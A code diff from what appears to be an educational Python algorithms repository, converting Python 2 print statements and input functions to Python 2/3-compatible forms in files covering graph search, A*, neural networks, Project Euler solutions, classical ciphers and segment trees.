<ide> grid = [[0, 1, 0, 0, 0, 0],
<ide> [0, 1, 0, 0, 0, 0],#0 are free path whereas 1's are obstacles
<ide> def search(grid,init,goal,cost,heuristic):
<ide> y = goal[1]
<ide> invpath.append([x, y])#we get the reverse path from here
<ide> while x != init[0] or y != init[1]:
<del> x2 = x - delta[action[x][y]][0]
<add> x2 = x - delta[action[x][y]][0]
<ide> y2 = y - delta[action[x][y]][1]
<ide> x = x2
<ide> y = y2
<ide> def search(grid,init,goal,cost,heuristic):
<ide> path = []
<ide> for i in range(len(invpath)):
<ide> path.append(invpath[len(invpath) - 1 - i])
<del> print "ACTION MAP"
<add> print("ACTION MAP")
<ide> for i in range(len(action)):
<del> print action[i]
<add> print(action[i])
<ide>
<ide> return path
<ide>
<ide> a = search(grid,init,goal,cost,heuristic)
<ide> for i in range(len(a)):
<del> print a[i]
<add> print(a[i])
<ide>
<ide><path>Graphs/basic-graphs.py
<add>from __future__ import print_function
<add>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<add>
<add>try:
<add> xrange # Python 2
<add>except NameError:
<add> xrange = range # Python 3
<add>
<ide> # Accept No. of Nodes and edges
<ide> n, m = map(int, raw_input().split(" "))
<ide>
<ide>
<ide> def dfs(G, s):
<ide> vis, S = set([s]), [s]
<del> print s
<add> print(s)
<ide> while S:
<ide> flag = 0
<ide> for i in G[S[-1]]:
<ide> if i not in vis:
<ide> S.append(i)
<ide> vis.add(i)
<ide> flag = 1
<del> print i
<add> print(i)
<ide> break
<ide> if not flag:
<ide> S.pop()
<ide> def dfs(G, s):
<ide>
<ide> def bfs(G, s):
<ide> vis, Q = set([s]), deque([s])
<del> print s
<add> print(s)
<ide> while Q:
<ide> u = Q.popleft()
<ide> for v in G[u]:
<ide> if v not in vis:
<ide> vis.add(v)
<ide> Q.append(v)
<del> print v
<add> print(v)
<ide>
<ide>
<ide> """
<ide> def dijk(G, s):
<ide> path[v[0]] = u
<ide> for i in dist:
<ide> if i != s:
<del> print dist[i]
<add> print(dist[i])
<ide>
<ide>
<ide> """
<ide> def topo(G, ind=None, Q=[1]):
<ide> if len(Q) == 0:
<ide> return
<ide> v = Q.popleft()
<del> print v
<add> print(v)
<ide> for w in G[v]:
<ide> ind[w] -= 1
<ide> if ind[w] == 0:
<ide> def adjm():
<ide> """
<ide>
<ide>
<del>def floy((A, n)):
<add>def floy(xxx_todo_changeme):
<add> (A, n) = xxx_todo_changeme
<ide> dist = list(A)
<ide> path = [[0] * n for i in xrange(n)]
<ide> for k in xrange(n):
<ide> def floy((A, n)):
<ide> if dist[i][j] > dist[i][k] + dist[k][j]:
<ide> dist[i][j] = dist[i][k] + dist[k][j]
<ide> path[i][k] = k
<del> print dist
<add> print(dist)
<ide>
<ide>
<ide> """
<ide> def edglist():
<ide> """
<ide>
<ide>
<del>def krusk((E, n)):
<add>def krusk(xxx_todo_changeme1):
<ide> # Sort edges on the basis of distance
<add> (E, n) = xxx_todo_changeme1
<ide> E.sort(reverse=True, key=lambda x: x[2])
<ide> s = [set([i]) for i in range(1, n + 1)]
<ide> while True:
<ide> if len(s) == 1:
<ide> break
<del> print s
<add> print(s)
<ide> x = E.pop()
<ide> for i in xrange(len(s)):
<ide> if x[0] in s[i]:
<ide><path>Graphs/minimum_spanning_tree_kruskal.py
<add>from __future__ import print_function
<ide> num_nodes, num_edges = list(map(int,input().split()))
<ide>
<ide> edges = []
<ide><path>Graphs/scc_kosaraju.py
<add>from __future__ import print_function
<ide> # n - no of nodes, m - no of edges
<ide> n, m = list(map(int,input().split()))
<ide>
<ide><path>Multi_Hueristic_Astar.py
<add>from __future__ import print_function
<ide> import heapq
<ide> import numpy as np
<ide> import math
<ide> import copy
<ide>
<add>try:
<add> xrange # Python 2
<add>except NameError:
<add> xrange = range # Python 3
<add>
<ide>
<ide> class PriorityQueue:
<ide> def __init__(self):
<ide> def do_something(back_pointer, goal, start):
<ide> for i in xrange(n):
<ide> for j in range(n):
<ide> if (i, j) == (0, n-1):
<del> print grid[i][j],
<del> print "<-- End position",
<add> print(grid[i][j], end=' ')
<add> print("<-- End position", end=' ')
<ide> else:
<del> print grid[i][j],
<del> print
<add> print(grid[i][j], end=' ')
<add> print()
<ide> print("^")
<ide> print("Start position")
<del> print
<add> print()
<ide> print("# is an obstacle")
<ide> print("- is the path taken by algorithm")
<ide> print("PATH TAKEN BY THE ALGORITHM IS:-")
<ide> x = back_pointer[goal]
<ide> while x != start:
<del> print x,
<add> print(x, end=' ')
<ide> x = back_pointer[x]
<del> print x
<add> print(x)
<ide> quit()
<ide>
<ide> def valid(p):
<ide> def multi_a_star(start, goal, n_hueristic):
<ide> expand_state(get_s, 0, visited, g_function, close_list_anchor, close_list_inad, open_list, back_pointer)
<ide> close_list_anchor.append(get_s)
<ide> print("No path found to goal")
<del> print
<add> print()
<ide> for i in range(n-1,-1, -1):
<ide> for j in range(n):
<ide> if (j, i) in blocks:
<del> print '#',
<add> print('#', end=' ')
<ide> elif (j, i) in back_pointer:
<ide> if (j, i) == (n-1, n-1):
<del> print '*',
<add> print('*', end=' ')
<ide> else:
<del> print '-',
<add> print('-', end=' ')
<ide> else:
<del> print '*',
<add> print('*', end=' ')
<ide> if (j, i) == (n-1, n-1):
<del> print '<-- End position',
<del> print
<add> print('<-- End position', end=' ')
<add> print()
<ide> print("^")
<ide> print("Start position")
<del> print
<add> print()
<ide> print("# is an obstacle")
<ide> print("- is the path taken by algorithm")
<del>multi_a_star(start, goal, n_hueristic)
<ide>\ No newline at end of file
<add>multi_a_star(start, goal, n_hueristic)
<ide><path>Neural_Network/convolution_neural_network.py
<ide> Date: 2017.9.20
<ide> - - - - - -- - - - - - - - - - - - - - - - - - - - - - -
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> import numpy as np
<ide> import matplotlib.pyplot as plt
<ide> def _calculate_gradient_from_pool(self,out_map,pd_pool,num_map,size_map,size_poo
<ide> def trian(self,patterns,datas_train, datas_teach, n_repeat, error_accuracy,draw_e = bool):
<ide> #model traning
<ide> print('----------------------Start Training-------------------------')
<del> print(' - - Shape: Train_Data ',np.shape(datas_train))
<del> print(' - - Shape: Teach_Data ',np.shape(datas_teach))
<add> print((' - - Shape: Train_Data ',np.shape(datas_train)))
<add> print((' - - Shape: Teach_Data ',np.shape(datas_teach)))
<ide> rp = 0
<ide> all_mse = []
<ide> mse = 10000
<ide> def draw_error():
<ide> plt.grid(True, alpha=0.5)
<ide> plt.show()
<ide> print('------------------Training Complished---------------------')
<del> print(' - - Training epoch: ', rp, ' - - Mse: %.6f' % mse)
<add> print((' - - Training epoch: ', rp, ' - - Mse: %.6f' % mse))
<ide> if draw_e:
<ide> draw_error()
<ide> return mse
<ide> def predict(self,datas_test):
<ide> #model predict
<ide> produce_out = []
<ide> print('-------------------Start Testing-------------------------')
<del> print(' - - Shape: Test_Data ',np.shape(datas_test))
<add> print((' - - Shape: Test_Data ',np.shape(datas_test)))
<ide> for p in range(len(datas_test)):
<ide> data_test = np.asmatrix(datas_test[p])
<ide> data_focus1, data_conved1 = self.convolute(data_test, self.conv1, self.w_conv1,
<ide><path>Neural_Network/perceptron.py
<ide> p2 = 1
<ide>
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> import random
<ide>
<ide> def trannig(self):
<ide> epoch_count = epoch_count + 1
<ide> # if you want controle the epoch or just by erro
<ide> if erro == False:
<del> print('\nEpoch:\n',epoch_count)
<add> print(('\nEpoch:\n',epoch_count))
<ide> print('------------------------\n')
<ide> #if epoch_count > self.epoch_number or not erro:
<ide> break
<ide> def sort(self, sample):
<ide> y = self.sign(u)
<ide>
<ide> if y == -1:
<del> print('Sample: ', sample)
<add> print(('Sample: ', sample))
<ide> print('classification: P1')
<ide> else:
<del> print('Sample: ', sample)
<add> print(('Sample: ', sample))
<ide> print('classification: P2')
<ide>
<ide> def sign(self, u):
<ide><path>Project Euler/Problem 01/sol1.py
<ide> we get 3,5,6 and 9. The sum of these multiples is 23.
<ide> Find the sum of all the multiples of 3 or 5 below N.
<ide> '''
<add>from __future__ import print_function
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<ide> n = int(raw_input().strip())
<del>sum=0;
<add>sum=0
<ide> for a in range(3,n):
<ide> if(a%3==0 or a%5==0):
<ide> sum+=a
<del>print sum;
<ide>\ No newline at end of file
<add>print(sum)
<ide><path>Project Euler/Problem 01/sol2.py
<ide> we get 3,5,6 and 9. The sum of these multiples is 23.
<ide> Find the sum of all the multiples of 3 or 5 below N.
<ide> '''
<add>from __future__ import print_function
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<ide> n = int(raw_input().strip())
<ide> sum = 0
<ide> terms = (n-1)/3
<ide> sum+= ((terms)*(10+(terms-1)*5))/2
<ide> terms = (n-1)/15
<ide> sum-= ((terms)*(30+(terms-1)*15))/2
<del>print sum
<ide>\ No newline at end of file
<add>print(sum)
<ide><path>Project Euler/Problem 01/sol3.py
<ide> '''
<ide> This solution is based on the pattern that the successive numbers in the series follow: 0+3,+2,+1,+3,+1,+2,+3.
<ide> '''
<add>from __future__ import print_function
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<ide> n = int(raw_input().strip())
<ide> sum=0;
<ide> num=0;
<ide> if(num>=n):
<ide> break
<ide> sum+=num
<del>print sum;
<ide>\ No newline at end of file
<add>print(sum);
<ide><path>Project Euler/Problem 02/sol1.py
<ide> By considering the terms in the Fibonacci sequence whose values do not exceed n, find the sum of the even-valued terms.
<ide> e.g. for n=10, we have {2,8}, sum is 10.
<ide> '''
<add>from __future__ import print_function
<add>
<add>try:
<add> raw_input # Python 2
<add>except NameError:
<add> raw_input = input # Python 3
<ide>
<ide> n = int(raw_input().strip())
<ide> i=1; j=2; sum=0
<ide> temp=i
<ide> i=j
<ide> j=temp+i
<del>print sum
<ide>\ No newline at end of file
<add>print(sum)
<ide><path>Project Euler/Problem 03/sol1.py
<ide> The prime factors of 13195 are 5,7,13 and 29. What is the largest prime factor of a given number N?
<ide> e.g. for 10, largest prime factor = 5. For 17, largest prime factor = 17.
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> import math
<ide>
<ide> def isprime(no):
<ide> max=0
<ide> n=int(input())
<ide> if(isprime(n)):
<del> print n
<add> print(n)
<ide> else:
<ide> while (n%2==0):
<ide> n=n/2
<ide> if(isprime(n)):
<del> print n
<add> print(n)
<ide> else:
<ide> n1 = int(math.sqrt(n))+1
<ide> for i in range(3,n1,2):
<ide> def isprime(no):
<ide> break
<ide> elif(isprime(i)):
<ide> max=i
<del> print max
<add> print(max)
<ide><path>Project Euler/Problem 03/sol2.py
<ide> The prime factors of 13195 are 5,7,13 and 29. What is the largest prime factor of a given number N?
<ide> e.g. for 10, largest prime factor = 5. For 17, largest prime factor = 17.
<ide> '''
<add>from __future__ import print_function
<ide> n=int(input())
<ide> prime=1
<ide> i=2
<ide> i+=1
<ide> if(n>1):
<ide> prime=n
<del>print prime
<add>print(prime)
<ide><path>Project Euler/Problem 04/sol1.py
<ide> A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 x 99.
<ide> Find the largest palindrome made from the product of two 3-digit numbers which is less than N.
<ide> '''
<add>from __future__ import print_function
<ide> n=int(input())
<ide> for i in range(n-1,10000,-1):
<ide> temp=str(i)
<ide> if(temp==temp[::-1]):
<ide> j=999
<ide> while(j!=99):
<ide> if((i%j==0) and (len(str(i/j))==3)):
<del> print i
<add> print(i)
<ide> exit(0)
<ide> j-=1
<ide><path>Project Euler/Problem 04/sol2.py
<ide> A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 x 99.
<ide> Find the largest palindrome made from the product of two 3-digit numbers which is less than N.
<ide> '''
<add>from __future__ import print_function
<ide> arr = []
<ide> for i in range(999,100,-1):
<ide> for j in range(999,100,-1):
<ide> n=int(input())
<ide> for i in arr[::-1]:
<ide> if(i<n):
<del> print i
<add> print(i)
<ide> exit(0)
<ide>\ No newline at end of file
<ide><path>Project Euler/Problem 05/sol1.py
<ide> 2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.
<ide> What is the smallest positive number that is evenly divisible(divisible with no remainder) by all of the numbers from 1 to N?
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> n = int(input())
<ide> i = 0
<ide> if(nfound==0):
<ide> if(i==0):
<ide> i=1
<del> print i
<add> print(i)
<ide> break
<ide>\ No newline at end of file
<ide><path>Project Euler/Problem 06/sol1.py
<ide> Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640.
<ide> Find the difference between the sum of the squares of the first N natural numbers and the square of the sum.
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> suma = 0
<ide> sumb = 0
<ide> suma += i**2
<ide> sumb += i
<ide> sum = sumb**2 - suma
<del>print sum
<ide>\ No newline at end of file
<add>print(sum)
<ide>\ No newline at end of file
<ide><path>Project Euler/Problem 06/sol2.py
<ide> Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640.
<ide> Find the difference between the sum of the squares of the first N natural numbers and the square of the sum.
<ide> '''
<add>from __future__ import print_function
<ide> n = int(input())
<ide> suma = n*(n+1)/2
<ide> suma **= 2
<ide> sumb = n*(n+1)*(2*n+1)/6
<del>print suma-sumb
<ide>\ No newline at end of file
<add>print(suma-sumb)
<ide>\ No newline at end of file
<ide><path>Project Euler/Problem 07/sol1.py
<ide> 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13.
<ide> What is the Nth prime number?
<ide> '''
<add>from __future__ import print_function
<ide> from math import sqrt
<ide> def isprime(n):
<ide> if (n==2):
<ide> def isprime(n):
<ide> j+=2
<ide> if(isprime(j)):
<ide> i+=1
<del>print j
<ide>\ No newline at end of file
<add>print(j)
<ide>\ No newline at end of file
<ide><path>Project Euler/Problem 13/sol1.py
<ide> Problem Statement:
<ide> Work out the first ten digits of the sum of the N 50-digit numbers.
<ide> '''
<add>from __future__ import print_function
<ide>
<ide> n = int(input().strip())
<ide>
<ide><path>Project Euler/Problem 14/sol1.py
<add>from __future__ import print_function
<ide> largest_number = 0
<ide> pre_counter = 0
<ide>
<ide> largest_number = input1
<ide> pre_counter = counter
<ide>
<del>print('Largest Number:',largest_number,'->',pre_counter,'digits')
<add>print(('Largest Number:',largest_number,'->',pre_counter,'digits'))
<ide><path>Project Euler/Problem 9/sol1.py
<add>from __future__ import print_function
<ide> # Program to find the product of a,b,c which are Pythagorean Triplet that satisfice the following:
<ide> # 1. a < b < c
<ide> # 2. a**2 + b**2 = c**2
<ide> if(a < b < c):
<ide> if((a**2) + (b**2) == (c**2)):
<ide> if((a+b+c) == 1000):
<del> print("Product of",a,"*",b,"*",c,"=",(a*b*c))
<add> print(("Product of",a,"*",b,"*",c,"=",(a*b*c)))
<ide> break
<ide><path>ciphers/affine_cipher.py
<add>from __future__ import print_function
<ide> import sys, random, cryptomath_module as cryptoMath
<ide>
<ide> SYMBOLS = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"""
<ide><path>ciphers/brute-force_caesar_cipher.py
<add>from __future__ import print_function
<ide> def decrypt(message):
<ide> """
<ide> >>> decrypt('TMDETUX PMDVU')
<ide><path>ciphers/caesar_cipher.py
<add>from __future__ import print_function
<ide> # The Caesar Cipher Algorithm
<ide>
<ide> def main():
<ide> def main():
<ide>
<ide> translated = encdec(message, key, mode)
<ide> if mode == "encrypt":
<del> print("Encryption:", translated)
<add> print(("Encryption:", translated))
<ide> elif mode == "decrypt":
<del> print("Decryption:", translated)
<add> print(("Decryption:", translated))
<ide>
<ide> def encdec(message, key, mode):
<ide> message = message.upper()
<ide><path>ciphers/rabin_miller.py
<add>from __future__ import print_function
<ide> # Primality Testing with the Rabin-Miller Algorithm
<ide>
<ide> import random
<ide> def generateLargePrime(keysize = 1024):
<ide>
<ide> if __name__ == '__main__':
<ide> num = generateLargePrime()
<del> print('Prime number:', num)
<del> print('isPrime:', isPrime(num))
<add> print(('Prime number:', num))
<add> print(('isPrime:', isPrime(num)))
<ide><path>ciphers/rot13.py
<add>from __future__ import print_function
<ide> def dencrypt(s, n):
<ide> out = ''
<ide> for c in s:
<ide><path>ciphers/rsa_cipher.py
<add>from __future__ import print_function
<ide> import sys, rsa_key_generator as rkg, os
<ide>
<ide> DEFAULT_BLOCK_SIZE = 128
<ide><path>ciphers/rsa_key_generator.py
<add>from __future__ import print_function
<ide> import random, sys, os
<ide> import rabin_miller as rabinMiller, cryptomath_module as cryptoMath
<ide>
<ide><path>ciphers/simple_substitution_cipher.py
<add>from __future__ import print_function
<ide> import sys, random
<ide>
<ide> LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
<ide><path>ciphers/transposition_cipher.py
<add>from __future__ import print_function
<ide> import math
<ide>
<ide> def main():
<ide><path>ciphers/transposition_cipher_encrypt-decrypt_file.py
<add>from __future__ import print_function
<ide> import time, os, sys
<ide> import transposition_cipher as transCipher
<ide>
<ide> def main():
<ide> outputObj.close()
<ide>
<ide> totalTime = round(time.time() - startTime, 2)
<del> print('Done (', totalTime, 'seconds )')
<add> print(('Done (', totalTime, 'seconds )'))
<ide>
<ide> if __name__ == '__main__':
<ide> main()
<ide><path>ciphers/vigenere_cipher.py
<add>from __future__ import print_function
<ide> LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
<ide>
<ide> def main():
<ide><path>data_structures/Binary Tree/FenwickTree.py
<del>class FenwickTree:
<del>
<del> def __init__(self, SIZE): # create fenwick tree with size SIZE
<del> self.Size = SIZE
<del> self.ft = [0 for i in range (0,SIZE)]
<del>
<del> def update(self, i, val): # update data (adding) in index i in O(lg N)
<del> while (i < self.Size):
<del> self.ft[i] += val
<del> i += i & (-i)
<del>
<del> def query(self, i): # query cumulative data from index 0 to i in O(lg N)
<del> ret = 0
<del> while (i > 0):
<del> ret += self.ft[i]
<del> i -= i & (-i)
<del> return ret
<del>
<del>if __name__ == '__main__':
<del> f = FenwickTree(100)
<del> f.update(1,20)
<del> f.update(4,4)
<del> print (f.query(1))
<del> print (f.query(3))
<del> print (f.query(4))
<del> f.update(2,-5)
<del> print (f.query(1))
<del> print (f.query(3))
<add>from __future__ import print_function
<add>class FenwickTree:
<add>
<add> def __init__(self, SIZE): # create fenwick tree with size SIZE
<add> self.Size = SIZE
<add> self.ft = [0 for i in range (0,SIZE)]
<add>
<add> def update(self, i, val): # update data (adding) in index i in O(lg N)
<add> while (i < self.Size):
<add> self.ft[i] += val
<add> i += i & (-i)
<add>
<add> def query(self, i): # query cumulative data from index 0 to i in O(lg N)
<add> ret = 0
<add> while (i > 0):
<add> ret += self.ft[i]
<add> i -= i & (-i)
<add> return ret
<add>
<add>if __name__ == '__main__':
<add> f = FenwickTree(100)
<add> f.update(1,20)
<add> f.update(4,4)
<add> print (f.query(1))
<add> print (f.query(3))
<add> print (f.query(4))
<add> f.update(2,-5)
<add> print (f.query(1))
<add> print (f.query(3))
<ide><path>data_structures/Binary Tree/LazySegmentTree.py
<del>import math
<del>
<del>class SegmentTree:
<del>
<del> def __init__(self, N):
<del> self.N = N
<del> self.st = [0 for i in range(0,4*N)] # approximate the overall size of segment tree with array N
<del> self.lazy = [0 for i in range(0,4*N)] # create array to store lazy update
<del> self.flag = [0 for i in range(0,4*N)] # flag for lazy update
<del>
<del> def left(self, idx):
<del> return idx*2
<del>
<del> def right(self, idx):
<del> return idx*2 + 1
<del>
<del> def build(self, idx, l, r, A):
<del> if l==r:
<del> self.st[idx] = A[l-1]
<del> else :
<del> mid = (l+r)//2
<del> self.build(self.left(idx),l,mid, A)
<del> self.build(self.right(idx),mid+1,r, A)
<del> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<del>
<del> # update with O(lg N) (Normal segment tree without lazy update will take O(Nlg N) for each update)
<del> def update(self, idx, l, r, a, b, val): # update(1, 1, N, a, b, v) for update val v to [a,b]
<del> if self.flag[idx] == True:
<del> self.st[idx] = self.lazy[idx]
<del> self.flag[idx] = False
<del> if l!=r:
<del> self.lazy[self.left(idx)] = self.lazy[idx]
<del> self.lazy[self.right(idx)] = self.lazy[idx]
<del> self.flag[self.left(idx)] = True
<del> self.flag[self.right(idx)] = True
<del>
<del> if r < a or l > b:
<del> return True
<del> if l >= a and r <= b :
<del> self.st[idx] = val
<del> if l!=r:
<del> self.lazy[self.left(idx)] = val
<del> self.lazy[self.right(idx)] = val
<del> self.flag[self.left(idx)] = True
<del> self.flag[self.right(idx)] = True
<del> return True
<del> mid = (l+r)//2
<del> self.update(self.left(idx),l,mid,a,b,val)
<del> self.update(self.right(idx),mid+1,r,a,b,val)
<del> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<del> return True
<del>
<del> # query with O(lg N)
<del> def query(self, idx, l, r, a, b): #query(1, 1, N, a, b) for query max of [a,b]
<del> if self.flag[idx] == True:
<del> self.st[idx] = self.lazy[idx]
<del> self.flag[idx] = False
<del> if l != r:
<del> self.lazy[self.left(idx)] = self.lazy[idx]
<del> self.lazy[self.right(idx)] = self.lazy[idx]
<del> self.flag[self.left(idx)] = True
<del> self.flag[self.right(idx)] = True
<del> if r < a or l > b:
<del> return -math.inf
<del> if l >= a and r <= b:
<del> return self.st[idx]
<del> mid = (l+r)//2
<del> q1 = self.query(self.left(idx),l,mid,a,b)
<del> q2 = self.query(self.right(idx),mid+1,r,a,b)
<del> return max(q1,q2)
<del>
<del> def showData(self):
<del> showList = []
<del> for i in range(1,N+1):
<del> showList += [self.query(1, 1, self.N, i, i)]
<del> print (showList)
<del>
<del>
<del>if __name__ == '__main__':
<del> A = [1,2,-4,7,3,-5,6,11,-20,9,14,15,5,2,-8]
<del> N = 15
<del> segt = SegmentTree(N)
<del> segt.build(1,1,N,A)
<del> print (segt.query(1,1,N,4,6))
<del> print (segt.query(1,1,N,7,11))
<del> print (segt.query(1,1,N,7,12))
<del> segt.update(1,1,N,1,3,111)
<del> print (segt.query(1,1,N,1,15))
<del> segt.update(1,1,N,7,8,235)
<del> segt.showData()
<add>from __future__ import print_function
<add>import math
<add>
<add>class SegmentTree:
<add>
<add> def __init__(self, N):
<add> self.N = N
<add> self.st = [0 for i in range(0,4*N)] # approximate the overall size of segment tree with array N
<add> self.lazy = [0 for i in range(0,4*N)] # create array to store lazy update
<add> self.flag = [0 for i in range(0,4*N)] # flag for lazy update
<add>
<add> def left(self, idx):
<add> return idx*2
<add>
<add> def right(self, idx):
<add> return idx*2 + 1
<add>
<add> def build(self, idx, l, r, A):
<add> if l==r:
<add> self.st[idx] = A[l-1]
<add> else :
<add> mid = (l+r)//2
<add> self.build(self.left(idx),l,mid, A)
<add> self.build(self.right(idx),mid+1,r, A)
<add> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<add>
<add> # update with O(lg N) (Normal segment tree without lazy update will take O(Nlg N) for each update)
<add> def update(self, idx, l, r, a, b, val): # update(1, 1, N, a, b, v) for update val v to [a,b]
<add> if self.flag[idx] == True:
<add> self.st[idx] = self.lazy[idx]
<add> self.flag[idx] = False
<add> if l!=r:
<add> self.lazy[self.left(idx)] = self.lazy[idx]
<add> self.lazy[self.right(idx)] = self.lazy[idx]
<add> self.flag[self.left(idx)] = True
<add> self.flag[self.right(idx)] = True
<add>
<add> if r < a or l > b:
<add> return True
<add> if l >= a and r <= b :
<add> self.st[idx] = val
<add> if l!=r:
<add> self.lazy[self.left(idx)] = val
<add> self.lazy[self.right(idx)] = val
<add> self.flag[self.left(idx)] = True
<add> self.flag[self.right(idx)] = True
<add> return True
<add> mid = (l+r)//2
<add> self.update(self.left(idx),l,mid,a,b,val)
<add> self.update(self.right(idx),mid+1,r,a,b,val)
<add> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<add> return True
<add>
<add> # query with O(lg N)
<add> def query(self, idx, l, r, a, b): #query(1, 1, N, a, b) for query max of [a,b]
<add> if self.flag[idx] == True:
<add> self.st[idx] = self.lazy[idx]
<add> self.flag[idx] = False
<add> if l != r:
<add> self.lazy[self.left(idx)] = self.lazy[idx]
<add> self.lazy[self.right(idx)] = self.lazy[idx]
<add> self.flag[self.left(idx)] = True
<add> self.flag[self.right(idx)] = True
<add> if r < a or l > b:
<add> return -math.inf
<add> if l >= a and r <= b:
<add> return self.st[idx]
<add> mid = (l+r)//2
<add> q1 = self.query(self.left(idx),l,mid,a,b)
<add> q2 = self.query(self.right(idx),mid+1,r,a,b)
<add> return max(q1,q2)
<add>
<add> def showData(self):
<add> showList = []
<add> for i in range(1,N+1):
<add> showList += [self.query(1, 1, self.N, i, i)]
<add> print (showList)
<add>
<add>
<add>if __name__ == '__main__':
<add> A = [1,2,-4,7,3,-5,6,11,-20,9,14,15,5,2,-8]
<add> N = 15
<add> segt = SegmentTree(N)
<add> segt.build(1,1,N,A)
<add> print (segt.query(1,1,N,4,6))
<add> print (segt.query(1,1,N,7,11))
<add> print (segt.query(1,1,N,7,12))
<add> segt.update(1,1,N,1,3,111)
<add> print (segt.query(1,1,N,1,15))
<add> segt.update(1,1,N,7,8,235)
<add> segt.showData()
<ide><path>data_structures/Binary Tree/SegmentTree.py
<del>import math
<del>
<del>class SegmentTree:
<del>
<del> def __init__(self, N):
<del> self.N = N
<del> self.st = [0 for i in range(0,4*N)] # approximate the overall size of segment tree with array N
<del>
<del> def left(self, idx):
<del> return idx*2
<del>
<del> def right(self, idx):
<del> return idx*2 + 1
<del>
<del> def build(self, idx, l, r, A):
<del> if l==r:
<del> self.st[idx] = A[l-1]
<del> else :
<del> mid = (l+r)//2
<del> self.build(self.left(idx),l,mid, A)
<del> self.build(self.right(idx),mid+1,r, A)
<del> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<del>
<del> def update(self, idx, l, r, a, b, val): # update(1, 1, N, a, b, v) for update val v to [a,b]
<del> if r < a or l > b:
<del> return True
<del> if l == r :
<del> self.st[idx] = val
<del> return True
<del> mid = (l+r)//2
<del> self.update(self.left(idx),l,mid,a,b,val)
<del> self.update(self.right(idx),mid+1,r,a,b,val)
<del> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<del> return True
<del>
<del> def query(self, idx, l, r, a, b): #query(1, 1, N, a, b) for query max of [a,b]
<del> if r < a or l > b:
<del> return -math.inf
<del> if l >= a and r <= b:
<del> return self.st[idx]
<del> mid = (l+r)//2
<del> q1 = self.query(self.left(idx),l,mid,a,b)
<del> q2 = self.query(self.right(idx),mid+1,r,a,b)
<del> return max(q1,q2)
<del>
<del> def showData(self):
<del> showList = []
<del> for i in range(1,N+1):
<del> showList += [self.query(1, 1, self.N, i, i)]
<del> print (showList)
<del>
<del>
<del>if __name__ == '__main__':
<del> A = [1,2,-4,7,3,-5,6,11,-20,9,14,15,5,2,-8]
<del> N = 15
<del> segt = SegmentTree(N)
<del> segt.build(1,1,N,A)
<del> print (segt.query(1,1,N,4,6))
<del> print (segt.query(1,1,N,7,11))
<del> print (segt.query(1,1,N,7,12))
<del> segt.update(1,1,N,1,3,111)
<del> print (segt.query(1,1,N,1,15))
<del> segt.update(1,1,N,7,8,235)
<del> segt.showData()
<add>from __future__ import print_function
<add>import math
<add>
<add>class SegmentTree:
<add>
<add> def __init__(self, N):
<add> self.N = N
<add> self.st = [0 for i in range(0,4*N)] # approximate the overall size of segment tree with array N
<add>
<add> def left(self, idx):
<add> return idx*2
<add>
<add> def right(self, idx):
<add> return idx*2 + 1
<add>
<add> def build(self, idx, l, r, A):
<add> if l==r:
<add> self.st[idx] = A[l-1]
<add> else :
<add> mid = (l+r)//2
<add> self.build(self.left(idx),l,mid, A)
<add> self.build(self.right(idx),mid+1,r, A)
<add> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<add>
<add> def update(self, idx, l, r, a, b, val): # update(1, 1, N, a, b, v) for update val v to [a,b]
<add> if r < a or l > b:
<add> return True
<add> if l == r :
<add> self.st[idx] = val
<add> return True
<add> mid = (l+r)//2
<add> self.update(self.left(idx),l,mid,a,b,val)
<add> self.update(self.right(idx),mid+1,r,a,b,val)
<add> self.st[idx] = max(self.st[self.left(idx)] , self.st[self.right(idx)])
<add> return True
<add>
<add> def query(self, idx, l, r, a, b): #query(1, 1, N, a, b) for query max of [a,b]
<add> if r < a or l > b:
<add> return -math.inf
<add> if l >= a and r <= b:
<add> return self.st[idx]
<add> mid = (l+r)//2
<add> q1 = self.query(self.left(idx),l,mid,a,b)
<add> q2 = self.query(self.right(idx),mid+1,r,a,b)
<add> return max(q1,q2)
<add>
<add> def showData(self):
<add> showList = []
<add> for i in range(1,N+1):
<add> showList += [self.query(1, 1, self.N, i, i)]
<add> print (showList)
<add>
<add>
<add>if __name__ == '__main__':
<add> A = [1,2,-4,7,3,-5,6,11,-20,9,14,15,5,2,-8]
<add> N = 15
<add> segt = SegmentTree(N)
<add> segt.build(1,1,N,A)
<add> print (segt.query(1,1,N,4,6))
<add> print (segt.query(1,1,N,7,11))
<add> print (segt.query(1,1,N,7,12))
<add> segt.update(1,1,N,1,3,111)
<add> print (segt.query(1,1,N,1,15))
<add> segt.update(1,1,N,7,8,235)
<add> segt.showData()
<ide><path>data_structures/Binary Tree/binary_search_tree.py
<ide> '''
<ide> A binary search Tree
<ide> '''
<add>from __future__ import print_function
<ide> class Node:
<ide>
<ide> def __init__(self, label, parent):
<ide> def testBinarySearchTree():
<ide> print("The label -1 doesn't exist")
<ide>
<ide> if(not t.empty()):
<del> print("Max Value: ", t.getMax().getLabel())
